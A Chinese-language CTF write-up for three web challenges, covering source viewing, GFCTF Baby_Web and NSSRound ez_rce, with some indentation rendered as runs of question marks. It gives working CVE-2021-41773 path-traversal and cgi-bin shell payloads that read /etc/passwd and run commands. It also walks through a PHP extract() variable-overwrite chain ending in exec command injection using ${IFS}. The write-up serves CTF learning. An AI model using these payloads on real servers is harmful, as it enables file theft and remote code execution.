NSSCTF[UUCTF 2022 新生賽]websign+[GFCTF 2021]Baby_Web+[NSSRound#4 S
https://www.ctfer.vip/problem/3053
? 首先很抱歉又隔那么久才更新,感謝xenny的支持,這次回學(xué)校和學(xué)長聊了一下,感覺大學(xué)畢業(yè)能選擇的還是蠻多的,自己對自己本領(lǐng)有點(diǎn)認(rèn)識,自己在ctf里刷的題還是太少了,一個(gè)方向刷500題后才能出結(jié)果,自己總共加起來可能才五百多,其中很多還是簡單題,自覺慚愧,所以自己對春招沒什么自信,學(xué)長倒是建議我去春招看看自己的定位和水平,但是剛回來耍了幾天的我腦袋空空的,學(xué)長入的職業(yè)不知道能不能說,保密機(jī)構(gòu)就不細(xì)聊了,我也是很向往,不知道以后是否有機(jī)會,自己也想考研去學(xué)深一點(diǎn),因?yàn)楦杏X目前我在大學(xué)的環(huán)境和資源是夠自己學(xué)廣一點(diǎn)然后出去找工作的,但是自己的水平應(yīng)該是只能進(jìn)一些很普通的單位,然后每天混著過,能不能出頭還不知道,考研的話是能學(xué)很多接觸很多的,出來的選擇也很多,所以很多人選擇考研,我覺得當(dāng)前還是得先提升自己吧,把坑填辣,然后聊一下看看怎么走,然后看是純考研還是去實(shí)習(xí)看一下咯。

抱歉說了辣么多,言歸正傳:
[UUCTF 2022 新生賽]websign
很基礎(chǔ)的查看源代碼方式,這里在上次的NSS[SWPUCTF 2022 新生賽]numgame里提到過:
如果你是火狐或者谷歌,在右上角的菜單欄里點(diǎn)擊更多工具,里面點(diǎn)擊查看源代碼就行了。其他瀏覽器未知,但多半也有這一功能,
?抓包,
curl -v 捕捉一下這個(gè)瀏覽器會話內(nèi)容,三種基礎(chǔ)方式都可以查看到網(wǎng)頁源代碼,其他方法也有很多,這里就不多贅述。

[GFCTF 2021]Baby_Web
hint:WEB PHP? CVE-2021-41773?? 變量覆蓋
cve加變量覆蓋,兇險(xiǎn)萬分。
首先一來f12看到提示:

讀取上層文件,那很明顯提示了你cve就去搜這個(gè)cve嘛:
這里原理有興趣的可以自行研究,直接放payload了。
https://github.com/Vulnmachines/cve-2021-41773
curl -s --path-as-is ":[PORT]/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
curl -s --path-as-is --data "echo;Command" "[IP]:[PORT]/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh
直接運(yùn)行輸出是不信滴,這里只能去讀文件,那就先讀一下index.php.txt咯
這里注意前面的/%2e%2e/記得加上一個(gè),然后路徑還得加上var/www補(bǔ)全,然后在網(wǎng)頁端直接輸入我沒有返回結(jié)果,在burp里面則是得到了返回值:
<h1>Welcome To GFCTF 12th!!</h1>
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
<!--源碼藏在上層目錄xxx.php.txt里面,但你怎么才能看到它呢?-->
提示了外面還有post值,提示了還存在class.php,提示了還有display
那么訪問class.php.txt再讀:
<?php
defined('main') or die("no!!");
Class Temp{
??? private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
??? private $template;
??? public function __construct($data){
??????? $this->date = array_merge($this->date,$data);
??? }
??? public function getTempName($template,$dir){
??????? if($dir === 'admin'){
??????????? $this->template = str_replace('..','','./template/admin/'.$template);
??????????? if(!is_file($this->template)){
??????????????? die("no!!");
??????????? }
??????? }
??????? else{
??????????? $this->template = './template/index.html';
??????? }
??? }
??? public function display($template,$space=''){
??????? extract($this->date);
??????? $this->getTempName($template,$space);
??????? include($this->template);
??? }
??? public function listdata($_params){
??????? $system = [
??????????? 'db' => '',
??????????? 'app' => '',
??????????? 'num' => '',
??????????? 'sum' => '',
??????????? 'form' => '',
??????????? 'page' => '',
??????????? 'site' => '',
??????????? 'flag' => '',
??????????? 'not_flag' => '',
??????????? 'show_flag' => '',
??????????? 'more' => '',
??????????? 'catid' => '',
??????????? 'field' => '',
??????????? 'order' => '',
??????????? 'space' => '',
??????????? 'table' => '',
??????????? 'table_site' => '',
??????????? 'total' => '',
??????????? 'join' => '',
??????????? 'on' => '',
??????????? 'action' => '',
??????????? 'return' => '',
??????????? 'sbpage' => '',
??????????? 'module' => '',
??????????? 'urlrule' => '',
??????????? 'pagesize' => '',
??????????? 'pagefile' => '',
??????? ];
??????? $param = $where = [];
??????? $_params = trim($_params);
??????? $params = explode(' ', $_params);
??????? if (in_array($params[0], ['list','function'])) {
??????????? $params[0] = 'action='.$params[0];
??????? }
??????? foreach ($params as $t) {
??????????? $var = substr($t, 0, strpos($t, '='));
??????????? $val = substr($t, strpos($t, '=') + 1);
??????????? if (!$var) {
??????????????? continue;
??????????? }
??????????? if (isset($system[$var])) {
??????????????? $system[$var] = $val;
??????????? } else {
??????????????? $param[$var] = $val;
??????????? }
??????? }
??????? // action
??????? switch ($system['action']) {
??????????? case 'function':
??????????????? if (!isset($param['name'])) {
??????????????????? return? 'hacker!!';
??????????????? } elseif (!function_exists($param['name'])) {
??????????????????? return 'hacker!!';
??????????????? }
??????????????? $force = $param['force'];
??????????????? if (!$force) {
??????????????????? $p = [];
??????????????????? foreach ($param as $var => $t) {
??????????????????????? if (strpos($var, 'param') === 0) {
??????????????????????????? $n = intval(substr($var, 5));
??????????????????????????? $p[$n] = $t;
??????????????????????? }
??????????????????? }
??????????????????? if ($p) {
??????????????????????? $rt = call_user_func_array($param['name'], $p);
??????????????????? } else {
??????????????????????? $rt = call_user_func($param['name']);
??????????????????? }
??????????????????? return $rt;
??????????????? }else{
??????????????????? return null;
??????????????? }
??????????? case 'list':
??????????????? return json_encode($this->date);
??????? }
??????? return null;
??? }
}
很長一串php代碼,肯定不是全懂,那么從我們已知信息開始入手:
查看display部分:
public function display($template,$space=''){
??????? extract($this->date);
??????? $this->getTempName($template,$space);
??????? include($this->template);
??? }
首先是一個(gè)extract函數(shù),這個(gè)函數(shù)你搜索的時(shí)候加上ctf關(guān)鍵詞很容易得到他的考點(diǎn)是我們hint里面的變量覆蓋:
https://blog.csdn.net/weixin_33782386/article/details/92457387
Extract()函數(shù)引起的變量覆蓋漏洞
該函數(shù)使用數(shù)組鍵名作為變量名,使用數(shù)組鍵值作為變量值。但是當(dāng)變量中有同名的元素時(shí),該函數(shù)默認(rèn)將原有的值給覆蓋掉。這就造成了變量覆蓋漏洞。
例如:$GET[‘test’]=’a’,被extract()函數(shù)處理后,就變成了$test=’a’,有與之同名的變量$test = '';,將其值覆蓋掉。并且get方法傳輸?shù)膅ift參數(shù)的值也為a。這樣,$gift=$content。就可以獲得flag。
這里留個(gè)心,接著看發(fā)現(xiàn)引出getTempName方法:
public function getTempName($template,$dir){
??????? if($dir === 'admin'){
??????????? $this->template = str_replace('..','','./template/admin/'.$template);
??????????? if(!is_file($this->template)){
??????????????? die("no!!");
??????????? }
??????? }
??????? else{
??????????? $this->template = './template/index.html';
??????? }
??? }
發(fā)現(xiàn)路徑,訪問:

發(fā)現(xiàn)他調(diào)用了listdata,那就又看listdata,并關(guān)注action:
//action
switch ($system['action']) {//把key為action的值來比較
??????????? case 'function':
??????????????? if (!isset($param['name'])) {//必須有key為name
??????????????????? return? 'hacker!!';
??????????????? } elseif (!function_exists($param['name']))//還必須被定義
???????????????? {
??????????????????? return 'hacker!!';
??????????????? }
??????????????? $force = $param['force'];
??????????????? if (!$force) {
??????????????????? $p = [];//我們只需要這一步定義
??????????????????? foreach ($param as $var => $t) {
??????????????????????? if (strpos($var, 'param') === 0) {
??????????????????????????? $n = intval(substr($var, 5));
??????????????????????????? $p[$n] = $t;
??????????????????????? }
??????????????????? }
????????????????? if ($p) {
?????????????????????? $rt = call_user_func_array($param['name'], $p);
??????????????????? } else {
??????????????????????? $rt = call_user_func($param['name']);//利用的key為name的value值
??????????????????? }
發(fā)現(xiàn)老朋友call_user_func,回推$param['name'],這里我不是很懂,就直接借用大佬注釋,同時(shí)把上方也一樣替換成大佬注釋,感謝大佬:
https://blog.csdn.net/qq_53460654/article/details/122026054
$_params = trim($_params);//刪除兩側(cè)多余的空格
$params = explode(' ', $_params);//以空格分隔成數(shù)組
??????? if (in_array($params[0], ['list','function'])) {
??????????? $params[0] = 'action='.$params[0];
??????? }
??????? foreach ($params as $t) {//遍歷新?成的數(shù)組
??????????? $var = substr($t, 0, strpos($t, '='));//key
??????????? $val = substr($t, strpos($t, '=') + 1);//value
??????????? if (!$var) {
??????????????? continue;
??????????? }
??????????? if (isset($system[$var])) {
??????????????? $system[$var] = $val;
??????????? } else {
??????????????? $param[$var] = $val;//數(shù)組定義
??????????? }
??????? }
那么不難看出,要進(jìn)入這個(gè)頁面調(diào)用listdata函數(shù),我們dir要等于admin也就是space要等于admin,template=index.html,相當(dāng)于firename=index.html,這個(gè)沒什么難點(diǎn),然后要傳入mod參數(shù)。
然后就是利用哪個(gè)的問題了:這里跟著大佬wp走
第一處,利用call_user_func
$rt = call_user_func($param['name']);
$param['name']上面已經(jīng)提到
switch ($system['action']) {//把key為action的值來比較
??????????? case 'function':
??????????????? if (!isset($param['name'])) {//必須有key為name
那我們的格式就是 name=命令
那之前就是 action=function name=命令,為什么是xx空格xx呢,因?yàn)閿?shù)組格式啊,你都不按格式怎么變量覆蓋,mod=xxx action=function name=命令 空格作為數(shù)組分割
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
經(jīng)測試,xxx隨便你填,不填都行,但是得加個(gè)空格,如果你只要action,那返回值也可以驗(yàn)證一下:
{"version":"1.0","img":"https:\/\/www.apache.org\/img\/asf-estd-1999-logo.jpg","space":"admin","mod":"action=function name=phpinfo"}
那這里phpinfo看一眼,直接看到flag:

第二個(gè)處,call_user_func_array
這里就涉及到:
if (!$force) {
??????????????????? $p = [];//我們只需要這一步定義
??????????????????? foreach ($param as $var => $t) {
??????????????????????? if (strpos($var, 'param') === 0) {
??????????????????????????? $n = intval(substr($var, 5));
??????????????????????????? $p[$n] = $t;
??????????????????????? }
??????????????????? }
這里又需要一個(gè)param的key作為我們的值,然后name的value值為exec即可進(jìn)行命令執(zhí)行
但是但是,因?yàn)檫@里空格作為數(shù)組分割是過濾了滴,所以我們用${IFS},然后就是命令執(zhí)行隨便你搞咯,這里大佬用得是賦值。
space=admin&mod=m1kael action=function name=exec param=ls${IFS}/>/var/www/html/a
space=admin&mod=m1kael action=function name=exec param=cat${IFS}/f11111111aaaagggg>/var/www/html/a
剛開始看挺多代碼挺頭疼的,后來只看關(guān)鍵部分的利用還好,但是數(shù)組這部分如果不看大佬解析的話我是利用不了第二個(gè)點(diǎn)的,第一個(gè)點(diǎn)也只能慢慢摸索得出,只能說還得繼續(xù)學(xué)。

趁熱打鐵:
[NSSRound#4 SWPU]ez_rce
hint:WEB? CVE-2021-41773
一樣抓包看路徑,但是這里也沒提示路徑在哪,于是嘗試一下搞事情,直接
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
就從The requested URL was not found on this server.變成了:
Your browser sent a request that this server could not understand
當(dāng)然事后發(fā)現(xiàn)是我的問題,這里我還改成了post,post了兩下就不回顯了,后來改了一下
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

文件很多勒,要么你綁個(gè)目錄參數(shù)去爆破,要么grep 遞歸搜索:
grep -r "NSS"? /flag_is_here
以遞歸的方式查找“/flag_is_here”下包含“NSS”的文件
要么就echo;cat /flag_is_here/*/*/*/*/*

那就這樣啦,吃飯去了,期待我們下一題再見!